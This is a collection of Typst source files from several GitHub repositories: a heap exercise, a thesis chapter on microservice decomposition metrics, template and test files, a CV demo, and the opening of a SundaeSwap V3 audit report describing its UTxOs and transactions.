- [中文教程](https://typst-doc-cn.github.io/tutorial/)
- [typst-example](https://github.com/sitandr/typst-examples-book)
- [视频教程](https://www.bilibili.com/video/BV1AJ4m1j7Sa) |
|
https://github.com/noahjutz/AD | https://raw.githubusercontent.com/noahjutz/AD/main/uebungen/5/buildheap.typ | typst | #import "/components/lefttree.typ": subtree
#import "heap.typ": heap
#let nums = (-5, 13, -32, 7, -3, 17, 23, 12, -35, 19)
#let done = ()
#let step(i, x, y, nums, done) = heap(
nums,
bg_tertiary: subtree(i, nums.len()),
hl_success: done,
swaps: ((x, y),),
annotations: ((x, `i`),)
)
#let heapify(index, nums, done) = {
let return_content = ()
let queue = (index,)
while queue.len() > 0 {
let i = queue.remove(0)
let max = (i, 2*i+1, 2*i+2)
.sorted(key: i => nums.at(i, default: -calc.inf))
.last()
return_content.push(step(index, i, max, nums, done))
(
nums.at(i),
nums.at(max)
) = (
nums.at(max),
nums.at(i)
)
if i != max {
queue.push(max)
}
}
return (nums, return_content)
}
#let m = calc.div-euclid(nums.len(), 2)
#let heaps = ()
#for i in range(m - 1, -1, step: -1) {
let (ret_nums, figs) = heapify(i, nums, done)
nums = ret_nums
heaps += figs
done += subtree(i, nums.len())
heaps.push(heap(
nums,
hl_success: done,
bg_success: subtree(i, nums.len())
))
}
#grid(
columns: (1fr,)*2,
column-gutter: 4pt,
row-gutter: 8pt,
align: bottom,
..heaps.map(scale.with(50%, reflow: true))
) |
|
https://github.com/floriandejonckheere/utu-thesis | https://raw.githubusercontent.com/floriandejonckheere/utu-thesis/master/thesis/chapters/06-automated-modularization/04-metrics.typ | typst | #import "@preview/acrostiche:0.3.1": *
#import "/helpers.typ": *
=== Metrics
The quality metrics used in the publications are summarized in @slr_metrics.
The metrics are used to quantitatively evaluate the quality of the generated microservice decomposition.
Some of the algorithms require the use of a specific metric to guide the process, such as the fitness function in genetic algorithms, or the modularity metric in the Louvain algorithm.
#figure(
table(
columns: (auto, auto),
inset: 10pt,
stroke: (x: none),
align: (left, left),
[*Metric*], [*Publications*],
"Cohesion",
[
#metrics.at("cohesion").map(p => ref(label(p))).join()
],
"Coupling",
[
#metrics.at("coupling").map(p => ref(label(p))).join()
],
"Network overhead",
[
#metrics.at("overhead").map(p => ref(label(p))).join()
],
"Complexity",
[
#metrics.at("complexity").map(p => ref(label(p))).join()
],
"Resource usage",
[
#metrics.at("resource").map(p => ref(label(p))).join()
],
"Modularity",
[
#metrics.at("modularity").map(p => ref(label(p))).join()
],
"Other metrics",
[
#metrics.at("other").map(p => ref(label(p))).join()
],
"No metrics",
[
#metrics.at("none").map(p => ref(label(p))).join()
],
),
caption: [Quality metrics]
) <slr_metrics>
#pagebreak()
We identified #total(metrics) metrics used in the publications, and categorized them in six categories.
Publications using undisclosed quality metrics, and publications using no metrics at all, are categorized into separate categories.
Cohesion (#count(metrics, "cohesion")\; #percentage(metrics, "cohesion")) and coupling (#count(metrics, "coupling")\; #percentage(metrics, "coupling")) are the most frequently used metrics, followed by modularity (#count(metrics, "modularity")\; #percentage(metrics, "modularity")), network overhead and complexity (#count(metrics, "complexity")\; #percentage(metrics, "complexity") each), and resource usage (#count(metrics, "resource")\; #percentage(metrics, "resource")).
Publications using other metrics (#count(metrics, "other")\; #percentage(metrics, "other")) account for the remaining metrics.
Finally, the #count(metrics, "none") publications that do not mention any quality metrics account for #percentage(metrics, "none").
@slr_metrics_chart breaks down the metrics distribution by category.
#figure(
include("/figures/06-automated-modularization/metrics.typ"),
caption: [SDLC metric categories]
) <slr_metrics_chart>
==== Cohesion and coupling
The quality metrics most frequently mentioned in the literature are cohesion and coupling.
The behaviour of information systems has been studied with the help of these metrics and others such as size and complexity since the 1970s @parnas_1972.
As object-oriented programming became more popular, the concepts of cohesion and coupling were adapted to the new paradigm @eder_etal_1995.
Throughout the years, many definitions of cohesion and coupling have been proposed both for procedural and object-oriented systems.
For example, #cite_full(<briand_etal_1996>) defined cohesion as the tightness with which related program features are grouped together, and coupling as the amount of relationships between the elements belonging to different modules of a system.
The publications in this review use different definitions for cohesion and coupling, and different methods of calculating them.
For example, #cite_full(<selmadji_etal_2020>) defined cohesion as the number of direct connections between the methods of the classes belonging to a microservice over the number of possible connections between the methods of the classes.
The authors then define coupling as the number of direct method calls between two classes over the total number of method calls in the application.
Others @zhou_xiong_2022, @zhang_etal_2020, @filippone_etal_2021, @agarwal_etal_2021, @carvalho_etal_2020, @bandara_perera_2020 use a similar definition of cohesion, but they define (individual) coupling as the number of method calls from a microservice class to another class outside of the microservice boundary.
The total coupling of the solution is the sum of the coupling of all microservices.
Similarly, #cite_full(<filippone_etal_2023>) defined average cohesion and average coupling as ratio of the total cohesion and coupling respectively, to the number of microservices in the decomposition.
#cite_full(<jin_etal_2021>) introduced the concept of inter-service cohesion and inter-call percentage (ICP) as coupling metrics.
Several other publications used the metrics introduced by #cite_author(<jin_etal_2021>) in their research @wu_zhang_2022, @brito_etal_2021, @sellami_etal_2022, @nitin_etal_2022.
Another approach to cohesion and coupling is that of #cite_full(<santos_silva_2022>) and #cite_full(<lourenco_silva_2023>), who defined cohesion as the percentage of entities accessed by a functionality.
If all entities belonging to a microservice candidate are accessed each time a microservice candidate is accessed, the microservice is strongly cohesive.
Coupling is defined as the percentage of the entities exposed by a microservice candidate that are accessed by other microservice candidates.
#cite_full(<al_debagy_martinek_2020>) used the inverse of cohesion as a metric, called lack of cohesion (LCOM).
Lack of cohesion is calculated by the number of times a microservice uses a method from another microservice, divided by the number of operations multiplied by the number of unique parameters.
This metric quantifies how the operations in a microservice are related to each other in terms of functionality.
==== Network overhead
Microservices are distributed systems, and communication between microservices is done over a network.
The network overhead is the extra cost of this communication, and many authors consider it an important metric when designing a microservice architecture.
#cite_full(<filippone_etal_2021>) and others @carvalho_etal_2020, @zhou_xiong_2022 calculated the value using a heuristic function that uses the size of primitive types of method call arguments to predict the total network overhead of a microservice decomposition.
#cite_full(<carvalho_etal_2020>) also included the protocol overhead in the calculation, which is the cost of the communication protocol used to send messages between microservices (for example, TCP and HTTP headers).
#cite_full(<quattrocchi_etal_2024>) measured network overhead as part of their operational cost metric.
The metric also includes data management costs (CPU and memory).
==== Complexity
The complexity of a microservice candidate is another metric that can impact the quality of the microservice decomposition.
#cite_full(<al_debagy_martinek_2020>) defined complexity based on Number of Operations, a metric that uses Weighted Methods per Class (WMC), summing the number of methods in a class.
#cite_full(<santos_silva_2022>) defined the complexity metric in terms of the functionality redesign effort, rather than the complexity of the microservice candidates.
The metric is associated with the cognitive load of the software architect when considering a migration from monolith to microservice.
In another publication by the same co-author, #cite_full(<lourenco_silva_2023>) defined complexity as the effort required to perform the decomposition, and expanded the concept to uniform complexity, which is calculated by dividing the complexity of a decomposition by the maximum possible complexity.
==== Resource usage
A non-functional metric that is considered by some authors is the resource usage of the microservices.
#cite_full(<zhang_etal_2020>) used this metric to evaluate the quality of the microservice decomposition, by predicting the average CPU and memory usage of the microservices.
The prediction is made based on performance logs collected by executing the monolith application.
#cite_full(<quattrocchi_etal_2024>) defined operational costs as the metric to minimize, including communication (network) and data management (CPU and memory) costs.
#cite_full(<nitin_etal_2022>) did not utilize the resource usage directly as a metric, but instead assumed the latency and throughput as indicators of performance.
==== Modularity
Modularity is a measure of independence of microservices, and can be divided into many dimensions, such as structure, concept, history, and dynamism @candela_etal_2016.
Some definitions of modularity rely on the concepts of cohesion and coupling, and the balance between them.
#cite_full(<jin_etal_2021>) used modularity as a metric to evaluate potential decompositions.
The authors use Modularity Quality @mancoridis_etal_1998 and extend the concept with structural and conceptual dependencies to assess the modularity of microservice candidates.
#cite_full(<carvalho_etal_2020>) introduced a metric named feature modularization, which maps a list of features supplied by the software architect onto classes and methods, determining the set of predominant features per microservice.
==== Other metrics
#cite_full(<mazlami_etal_2017>) introduced the concept of Team Size Reduction (TSR), which indicates if the average team size is shorter after the decomposition, by comparing the average number of authors per microservice to the total number of authors.
A Team Size Reduction value of 1 indicates that the microservices architecture has the same number of authors as the monolith, while a value fewer than 1 indicates a reduction in the number of authors.
The authors made use of the TSR metric, as well as the Average Domain Redundancy (ADR) metric, which represents the amount of domain-specific duplication or redundancy between the microservices.
The ADR metric uses a scale from 0 to 1, where 0 indicates no redundancy and 1 indicates that all microservices are redundant.
#cite_full(<lourenco_silva_2023>) used the TSR metric in their solution as well.
#cite_full(<carvalho_etal_2020>) proposed a metric called reuse, which measures the reusability of a microservice.
Reuse is calculated as the number of times a microservice is called by the user, relying on dynamic analysis to collect this information.
The usage metric of an object-oriented software system, defined as the sum of the inheritance factor (is-a) and the composition factor (has-a) is used by #cite_full(<bandara_perera_2020>) as a part of the fitness function for the clustering algorithm.
#cite_full(<saidi_etal_2023>) used the intra-domain and inter-domain data dependency metrics to delineate microservice boundaries, based on the read and write access pattern of the operations.
In a similar fashion, #cite_full(<selmadji_etal_2020>) talked about data autonomy determined by the internal and external data access of a microservice candidate.
#cite_full(<kamimura_etal_2018>) introduced a metric called dedication score, which measures the relationships between microservices as a function of access frequency.
Along with a modularity metric, the dedication score is used in their custom SArF dependency-based clustering algorithm @kobayashi_etal_2012.
The correlation metric is used by #cite_full(<yang_etal_2022>) and indicates the degree of correlation between the microservices.
The authors calculate the correlation in two ways: the number of co-occurrence of the problem domain, and the adjacency relationship between problem domains.
#cite_full(<ma_etal_2022>) used the Adjusted Rand Index (ARI) as clustering evaluation criterion.
The metric measures the similarity between two clusters in a decomposition, and ranges from -1 to 1, with 0 being the optimal value.
#cite_full(<hao_etal_2023>) used the matching degree metric as quality indicator.
The metric is calculated by dividing the number of intersections of database tables in a given microservice and a given cluster by the total number of tables used in the microservice.
#cite_full(<hasan_etal_2023>) and #cite_full(<kalia_etal_2021>) used the size metric to evaluate the quality of the microservice decomposition.
The metric measures how evenly the size of the proposed microservices is.
The size metric was originallly proposed by #cite_full(<wu_etal_2005>).
#cite_full(<santos_paula_2021>) used the silhouette coefficient originally proposed by #cite_full(<rousseeuw_1987>) as evaluation metric.
The silhouette coefficient assesses clustering consistency by comparing the average dissimilarity within the cluster.
==== No metrics
Some of the publications do not mention any quality metrics used in the evaluation of the proposed decomposition.
These methods typically rely on the selection or approval of a software architect to choose the best decomposition, based on their experience and knowledge of the system.
This is the case of #cite_full(<kinoshita_kanuka_2022>), #cite_full(<amiri_2018>), #cite_full(<eyitemi_reiff_marganiec_2020>), #cite_full(<romani_etal_2022>), and #cite_full(<escobar_etal_2016>).
|
|
https://github.com/Myriad-Dreamin/typst.ts | https://raw.githubusercontent.com/Myriad-Dreamin/typst.ts/main/fuzzers/corpora/text/raw-align_00.typ | typst | Apache License 2.0 |
#import "/contrib/templates/std-tests/preset.typ": *
#show: test-page
// Text inside raw block should be unaffected by outer alignment by default.
#set align(center)
#set page(width: 180pt)
#set text(6pt)
#lorem(20)
```py
def something(x):
return x
a = 342395823859823958329
b = 324923
```
#lorem(20)
|
https://github.com/Enter-tainer/typst-preview | https://raw.githubusercontent.com/Enter-tainer/typst-preview/main/assets/demo/main.typ | typst | MIT License | #show heading: set text(font: "Linux Biolinum", size: 20pt)
#show link: underline
#set page(
margin: (x: 0.9cm, y: 1.3cm),
)
#set par(justify: true)
#let chiline() = {v(-3pt); line(length: 100%); v(-5pt)}
#show text: set text(size: 18pt)
= Someone's CV
<EMAIL>
== Education
#chiline()
*Institute of Learning* #h(1fr) 2333/23 -- 2333/23 \
Bachelor in Computer Science #h(1fr) Distinction \
- Graduated with honors, consistently a part of the dean's list.
*School of Secondary Education* #h(1fr) 2333/23 -- 2333/23 \
High School Diploma #h(1fr) Outstanding performance \
- Awarded scholarships due to exemplary academic record.
== Work Experience
#chiline()
*Yet another amazing Company* #h(1fr) 2333/23 -- 2333/23 \
Software Engineer #h(1fr) Recognized for efficient coding \
- Worked on optimization of code to increase website performance.
- Improved website load speed by 30%.
- Spearheaded migration of database from MySQL to PostgreSQL.
*Amazing Company* #h(1fr) 2333/23 -- 2333/23 \
Software Engineer #h(1fr) Recognized for efficient coding \
- Worked on optimization of code to increase website performance.
- Improved website load speed by 30%.
- Spearheaded migration of database from MySQL to PostgreSQL.
*Technology Co.* #h(1fr) 2333/23 -- 2333/23 \
Junior Developer #h(1fr) Team player and diligent worker \
- Assisted in development of company's primary software product.
- Conducted thorough debugging to uphold product quality.
- Facilitated weekly meetings to improve team collaboration.
== Projects
#chiline()
*Project X1* #h(1fr) 2333/23 -- 2333/23 \
Lead Developer #h(1fr) Strategic planner \
- Successfully launched a mobile application with over 10,000 downloads.
- Designed scalable architecture to support growing user base.
- Ensured proper testing and debugging for smooth user experience.
*Project Y1* #h(1fr) 2333/23 -- 2333/23 \
Web Designer #h(1fr) Excellence in front-end design \
- Created an award-winning website for a non-profit organization.
- Developed responsive user interface for improved usability.
- Implemented engaging visual elements and optimized multimedia content.
|
https://github.com/flavio20002/typst-orange-template | https://raw.githubusercontent.com/flavio20002/typst-orange-template/main/example/main.typ | typst | MIT No Attribution | #import "../lib.typ": book, part, chapter, my-bibliography, appendices, make-index, index, theorem, definition, notation,remark,corollary,proposition,example,exercise, problem, vocabulary, mathcal, update-heading-image
//#set text(font: "Linux Libertine")
//#set text(font: "TeX Gyre Pagella")
#set text(font: "Lato")
//#show math.equation: set text(font: "Fira Math")
#show math.equation: set text(font: "Lato Math")
#show raw: set text(font: "Fira Code")
#show: book.with(
title: "Exploring the Physical Manifestation of Humanity’s Subconscious Desires",
subtitle: "A Practical Guide",
date: "Anno scolastico 2023-2024",
author: "<NAME>",
main-color: rgb("#F36619"),
lang: "en",
cover: image("./background.svg"),
image-index: image("./orange1.jpg"),
list-of-figure-title: "List of Figures",
list-of-table-title: "List of Tables",
supplement-chapter: "Chapter",
supplement-part: "Part",
part-style: 0,
copyright: [
Copyright © 2023 <NAME>
PUBLISHED BY PUBLISHER
#link("https://github.com/flavio20002/typst-orange-template", "TEMPLATE-WEBSITE")
Licensed under the Apache 2.0 License (the “License”).
You may not use this file except in compliance with the License. You may obtain a copy of
the License at https://www.apache.org/licenses/LICENSE-2.0. Unless required by
applicable law or agreed to in writing, software distributed under the License is distributed on an
“AS IS” BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and limitations under the License.
_First printing, July 2023_
],
lowercase-references: false
)
#part("Part One Title")
#chapter("Sectioning Examples", image: image("./orange2.jpg"), l: "chap1")
#index("Sectioning")
== Section Title
#index("Sectioning!Sections")
#lorem(50)
#footnote[Footnote example text...Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent porttitor arcu luctus,
imperdiet urna iaculis, mattis eros. Pellentesque iaculis odio vel nisl ullamcorper, nec faucibus ipsum molestie.]
#lorem(50)
=== Subsection Title
#index("Sectioning!Subsections")
#lorem(50)
#lorem(50)
#lorem(50)
==== Subsubsection Title
#index("Sectioning!Subsubsections")
#lorem(100)
===== Paragraph Title
#index("Sectioning!Paragraphs")
#lorem(50)
#lorem(50)
#lorem(50)
#lorem(50)
#lorem(50)
#lorem(50)
#lorem(50)
#lorem(50)
#lorem(50)
#lorem(50)
#lorem(50)
#lorem(50)
#lorem(50)
#lorem(50)
#lorem(50)
#heading(level:2, numbering: none, "Unnumbered Section", outlined: false)
#heading(level:3, numbering: none, "Unnumbered Subsection", outlined: false)
#heading(level:4, numbering: none, "Unnumbered Subsubsection", outlined: false)
// Chapter can also be defined in this way
#update-heading-image(image: image("./orange2.jpg"))
= In-text Element Examples
== Referencing Publications
#index("Citation")
This statement requires citation @Smith:2022jd; this one is more specific @Smith:2021qr[page.~162].
== Link Examples
#index("Links")
This is a URL link: #link("https://www.latextemplates.com")[LaTeX Templates]. This is an email link: #link("mailto:<EMAIL>")[<EMAIL>]. This is a
monospaced URL link: https://www.LaTeXTemplates.com.
== Lists
#index("Lists")
Lists are useful to present information in a concise and/or ordered way.
=== Numbered List
#index("Lists!Numbered List")
+ First numbered item
+ First indented numbered item
+ Second indented numbered item
+ First second-level indented numbered item
+ Second second-level indented numbered item
2. Second numbered item
3. Third numbered item
=== Bullet Point List
#index("Lists!Bullet Points")
- First bullet point item
- First indented bullet point item
- Second indented bullet point item
- First second-level indented bullet point item
- Second bullet point item
- Third bullet point item
=== Descriptions and Definitions
#index("Lists!Descriptions and Definitions")
/ Name: Definition
/ Word: Definition
/ Comment: Elaboration
== International Support
àáâäãåèéêëìíîïòóôöõøùúûüÿýñçˇcšž \
ÀÁÂÄÃÅÈÉÊËÌÍÎÏÒÓÔÖÕØÙÚÛÜŸÝÑ \
ßÇŒÆ ˇCŠŽ
== Ligatures
fi fj fl ffl ffi Ty
== Referencing Chapters<heading1>
#index("Referencing")
This statement references to another chapter @chap1. This statement references to another heading @heading1. This statement references to another heading @heading2.
#part("Part Two Title")
#chapter("Mathematics", image: image("./orange2.jpg"))
== Theorems
#index("Theorems")
=== Several equations<heading2>
#index("Theorems!Several equations")
This is a theorem consisting of several equations.
#theorem(name: "Name of the theorem")[
In $E=bb(R)^n$ all norms are equivalent. It has the properties:
$ abs(norm(bold(x)) - norm(bold(y))) <= norm(bold(x-y)) $
$ norm(sum_(i=1)^n bold(x)_i) <= sum_(i=1)^n norm(bold(x)_i) quad "where" n "is a finite integer" $
]
=== Single Line
#index("Theorems!Single Line")
This is a theorem consisting of just one line.
#theorem()[
A set $mathcal(D)(G)$ in dense in $L^2(G)$, $|dot|_0$.
]
== Definitions
#index("Definitions")
A definition can be mathematical or it could define a concept.
#definition(name: "Definition name")[
Given a vector space $E$, a norm on $E$ is an application, denoted $norm(dot)$, $E$ in $bb(R)^+ = [0,+∞[$ such that:
$ norm(bold(x)) = 0 arrow.r.double bold(x) = bold(0) $
$ norm(lambda bold(x)) = abs(lambda) dot norm(bold(x)) $
$ norm(bold(x) + bold(y)) lt.eq norm(bold(x)) + norm(bold(y)) $
]
== Notations
#index("Notations")
#notation()[
Given an open subset $G$ of $bold(R)^n$, the set of functions $phi$ are:
#v(0.5em, weak: true)
+ Bounded support $G$;
+ Infinitely differentiable;
#v(0.5em, weak: true)
a vector space is denoted by $mathcal(D)(G)$.
]
== Remarks
#index("Remarks")
This is an example of a remark.
#remark()[
The concepts presented here are now in conventional employment in mathematics. Vector spaces are taken over the field $bb(K)=bb(R)$, however, established properties are easily extended to $bb(K)=bb(C)$.
]
== Corollaries
#index("Corollaries")
#corollary(name: "Corollary name")[
The concepts presented here are now in conventional employment in mathematics. Vector spaces are taken over the field $bb(K)=bb(R)$, however, established properties are easily extended to $bb(K)=bb(C)$.
]
== Propositions
#index("Propositions")
=== Several equations
#index("Propositions!Several equations")
#proposition(name: "Proposition name")[
It has the properties:
$ abs(norm(bold(x)) - norm(bold(y))) <= norm(bold(x-y)) $
$ norm(sum_(i=1)^n bold(x)_i) <= sum_(i=1)^n norm(bold(x)_i) quad "where" n "is a finite integer" $
]
=== Single Line
#index("Propositions!Single Line")
#proposition()[
Let $f,g in L^2(G)$; if $forall phi in mathcal(D) (G)$, $(f,phi)_0=(g,phi)_0$ then $f = g$.
]
== Examples
#index("Examples")
=== Equation Example
#index("Examples!Equation")
#example()[
Let $G=\(x in bb(R)^2:|x|<3\)$ and denoted by: $x^0=(1,1)$; consider the function:
$ f(x) = cases(
e^(abs(x)) quad & "si" |x-x^0| lt.eq 1 slash 2,
0 & "si" |x-x^0| gt 1 slash 2
) $
The function $f$ has bounded support, we can take $A={x in bb(R)^2:|x-x^0| lt.eq 1 slash 2+ epsilon}$ for all $epsilon in lr(\] 0\;5 slash 2-sqrt(2) \[, size: #70%) $.
]
=== Text Example
#index("Examples!Text")
#example(name: "Example name")[
Aliquam arcu turpis, ultrices sed luctus ac, vehicula id metus. Morbi eu feugiat velit, et tempus augue. Proin ac mattis tortor. Donec tincidunt, ante rhoncus luctus semper, arcu lorem lobortis justo, nec convallis ante quam quis lectus. Aenean tincidunt sodales massa, et hendrerit tellus mattis ac. Sed non pretium nibh. Donec cursus maximus luctus. Vivamus lobortis eros et massa porta porttitor.
]
== Exercises
#index("Exercises")
#exercise()[
This is a good place to ask a question to test learning progress or further cement ideas into students' minds.
]
== Problems
#index("Problems")
#problem()[
What is the average airspeed velocity of an unladen swallow?
]
== Vocabulary
#index("Vocabulary")
Define a word to improve a students' vocabulary.
#vocabulary(name: "Word")[
Definition of word.
]
#chapter("Presenting Information and Results with a Long Chapter Title", image: image("./orange3.jpg"))
== Table
#index("Table")
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent porttitor arcu luctus, imperdiet
urna iaculis, mattis eros. Pellentesque iaculis odio vel nisl ullamcorper, nec faucibus ipsum molestie.
Sed dictum nisl non aliquet porttitor. Etiam vulputate arcu dignissim, finibus sem et, viverra nisl.
Aenean luctus congue massa, ut laoreet metus ornare in. Nunc fermentum nisi imperdiet lectus
tincidunt vestibulum at ac elit. Nulla mattis nisl eu malesuada suscipit.
#figure(
table(
columns: (auto, auto, auto),
inset: 10pt,
align: horizon,
[*Treatments*], [*Response 1*], [*Response 2*],
[Treatment 1],
[0.0003262],
[0.562],
[Treatment 2],
[0.0015681],
[0.910],
[Treatment 3],
[0.0009271],
[0.296],
),
caption: [Table caption.],
) <table>
Referencing @table in-text using its label.
== Figure
#index("Figure")
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent porttitor arcu luctus, imperdiet
urna iaculis, mattis eros. Pellentesque iaculis odio vel nisl ullamcorper, nec faucibus ipsum molestie.
Sed dictum nisl non aliquet porttitor. Etiam vulputate arcu dignissim, finibus sem et, viverra nisl.
Aenean luctus congue massa, ut laoreet metus ornare in. Nunc fermentum nisi imperdiet lectus
tincidunt vestibulum at ac elit. Nulla mattis nisl eu malesuada suscipit.
#figure(
image("creodocs_logo.svg", width: 50%),
caption: [Figure caption.],
) <figure>
Referencing @figure in-text using its label and referencing @figure1 in-text using its label.
#figure(
placement: top,
table(
columns: (auto, auto, auto),
inset: 10pt,
align: horizon,
[*Treatments*], [*Response 1*], [*Response 2*],
[Treatment 1],
[0.0003262],
[0.562],
[Treatment 2],
[0.0015681],
[0.910],
[Treatment 3],
[0.0009271],
[0.296],
),
caption: [Floating table.],
) <table1>
#figure(
placement: bottom,
image("creodocs_logo.svg", width: 100%),
caption: [Floating figure.],
) <figure1>
#my-bibliography( bibliography("sample.bib"))
#make-index(title: "Index")
#show: appendices.with("Appendices", hide-parent: false)
#chapter("Appendix Chapter Title", image: image("./orange2.jpg"))
== Appendix Section Title
#lorem(50)
#chapter("Appendix Chapter Title", image: image("./orange2.jpg"))
== Appendix Section Title
#lorem(50) |
https://github.com/tingerrr/hydra | https://raw.githubusercontent.com/tingerrr/hydra/main/tests/get-rules/top-margin/test.typ | typst | MIT License | // Synopsis:
// - for a single auto size the other is automatically the smaller one and is used for the maring
// calc
// - for both auto, a4 lengths are assumed
#import "/src/lib.typ": core, util
#set page(
height: 5cm,
width: auto,
header: context {
assert.eq(core.get-top-margin(), (2.5 / 21) * 5cm)
}
)
A
#set page(
height: auto,
width: 4cm,
header: context {
assert.eq(core.get-top-margin(), (2.5 / 21) * 4cm)
}
)
B
#set page(
height: auto,
width: auto,
header: context {
assert.eq(core.get-top-margin(), (2.5 / 21) * 210.0mm)
}
)
C
|
https://github.com/txpipe-shop/sundae-swap | https://raw.githubusercontent.com/txpipe-shop/sundae-swap/main/src/audit.typ | typst | #import "templates/report.typ": *
#show: report.with(
client: "Sundae Labs",
title: "V3",
repo: "https://github.com/txpipe-shop/sundae-swap",
date: "April 26, 2024",
)
#show link: underline
= Summary
#v(1em)
This report provides a comprehensive audit of SundaeSwap V3, a decentralized
exchange protocol that realizes an automated market maker (AMM) pooled
liquidity model on the Cardano Blockchain.
The investigation spanned several potential vulnerabilities, including
scenarios where attackers might exploit the validator to lock up or steal
funds.
The audit is conducted without warranties or guarantees of the quality or
security of the code.
It's important to note that this report only covers identified issues, and we
do not claim to have detected all potential vulnerabilities.
#v(1em)
== Overview
#v(1em)
The core component of SundaeSwap V3 is the liquidity pool.
Liquidity pools are script UTxOs that hold liquidity for two fixed assets.
Standard operations are supported, such as swapping and providing/removing liquidity, together with more advanced operations.
To address concurrency, users does not interact directly with LPs but place
orders.
Orders are script UTxOs that hold all the assets and information required for
the execution of the desired operation.
They can be directed to a specific pool, or open to any pool that is able to
process it.
Orders are processed in batches in "scoop" transactions by authorized entities
called "scoopers".
A scoop transaction applies a sequence of orders to a specific pool,
transforming the pool state and doing all the required payments to fulfill the
orders purpose.
SundaeSwap V3 protocol is booted by the creation of a single settings UTxO that
governs the entire protocol.
The settings UTxO determine, among other things, the list of authorized
scoopers.
Liquidity pools are created and validated with the minting of a pool NFT.
Orders are created with no validation, so it is up to the scoopers to select
well-formed orders to be processed.
There are several order types:
- Swap: to swap one token for another.
- Deposit: to provide liquidity and obtain LP tokens.
- Withdrawal: to redeem LP tokens and remove liquidity.
- Donation: to provide liquidity for free.
- Strategy: to lock funds for an operation that will be determined at processing time by a designated signer.
- Record: to create an output that can be used to do a snapshot of the pool state (than can be used later as an oracle).
#v(1em)
== Process
#v(1em)
Our audit process involved a thorough examination of SundaeSwap V3 validators.
Areas vulnerable to potential security threats were closely scrutinized,
including those where attackers could exploit the validator’s functions to
disrupt the platform and its users.
This included evaluating potential risks such as unauthorized asset addition,
hidden market creation, and disruptions to interoperability with other Plutus
scripts.
This also included the common vulnerabilities such as double satisfaction and
minting policy vulnerabilities.
The audit took place over a period of several weeks, and it involved the
evaluation of the platform’s mathematical model to verify that the implemented
equations matched those of the AMM algorithm.
Findings and feedback from the audit were communicated regularly to the
SundaeSwap team through Discord.
Diagrams illustrating the necessary transaction structure for proper
interaction with SundaeSwap V3 are attached as part of this report.
The SundaeSwap team addressed these issues in an efficient and timely manner,
enhancing the overall security of the platform.
#pagebreak()
= Specification
== UTxOs
=== Settings UTxO
A single script UTxO that is created at launch and used for the entire protocol.
Creation is validated with the minting of the "Settings NFT" that is locked
into the UTxO.
A multivalidator is used to contain both the spend and the minting validators.
- Address: hash of multivalidator in #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/validators/settings.ak#L12")[`settings.ak`]. Parameters:
- `protocol_boot_utxo`: reference to a UTxO that must be spent at settings creation.
- Value:
- ADA: only min ADA.
- Settings NFT: minting policy defined in the multivalidator.
- Datum: #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/lib/types/settings.ak#L12")[`SettingsDatum`]
=== Pool UTxOs
One script UTxO for each liquidity pool.
All pools in the protocol share the same address.
Liquidity pool creation is validated with the minting of a "Pool NFT" that is
locked into the UTxO.
A multivalidator is used to contain both the spend and the minting validators.
Moreover, the minting validator is used both for the Pool NFT and for the LP
tokens.
- Address: hash of multivalidator in #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/validators/pool.ak#L49")[pool.ak]. Parameters:
- `manage_stake_script_hash`: hash of staking script that validates pool management operations.
- `settings_policy_id`: minting policy of the Settings NFT.
- Value:
- ADA: accumulated protocol fees (including min ADA).
- (A, B): pair of assets contained by the pool. A may be ADA.
- Pool NFT: minting policy defined in the multivalidator.
- Datum: #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/lib/types/pool.ak#L7")[`PoolDatum`]
=== Order UTxOs
One script UTxO per order.
All orders in the protocol share the same address.
Order creation is not validated.
Order spending is validated to be done by the order creator or by a transaction that involves spending a liquidity pool.
The latter check is done by a staking validator that is referenced in the spend validator.
This way, the check is done only once for the transaction and not one time for each spent order, optimizing mem/CPU usage.
- Address: hash of spend validator in #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/validators/order.ak#L28")[`order.ak`]. Parameters:
- `stake_script_hash`: hash of staking script that validates for the presence of a valid liquidity pool.
- Value:
- ADA: at least min ADA.
- Other: assets relevant to the order + others.
- Datum: #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/lib/types/order.ak#L9")[`OrderDatum`]
=== Oracle UTxOs
A UTxO that can be created as the result of processing an order of type
"Record", if the correct parameters for the order are used.
Creation is validated with the minting of the "Oracle NFT" that is locked
into the UTxO, to check that the datum contains the correct information
regarding the pool state.
The UTxO can be spent by an owner defined in the order.
A multivalidator is used to contain both the spend and the minting validators.
- Address: hash of multivalidator in #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/validators/oracle.ak#L24")[`oracle.ak`]. Parameters:
- `pool_script_hash`: hash of pool multivalidator.
- Value:
- ADA: at least min ADA.
- Oracle NFT: #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/validators/oracle.ak#L54")[minting policy] with same hash as this oracle script.
- Datum: #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/lib/types/oracle.ak#L5")[`OracleDatum`]
== Transactions
#v(1em)
=== Settings
==== Operation "create settings"
This transaction creates a settings UTxO, which is then referenced by several pool operations that need those protocol settings as part of their validation.
The UTxO contains a datum with the protocol settings, and its value has a NFT used to identify it, which is minted in this create transaction.
#figure(
image("img/create_settings.png", width: 100%),
caption: [
Create Settings diagram.
],
)
Code:
- #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/validators/settings.ak#L109")[settings.ak:mint()]
Expected Failure Scenarios:
- The protocol boot UTxO is not being spent
- More than one settings tokens is being minted, or any other asset
==== Operation "update settings"
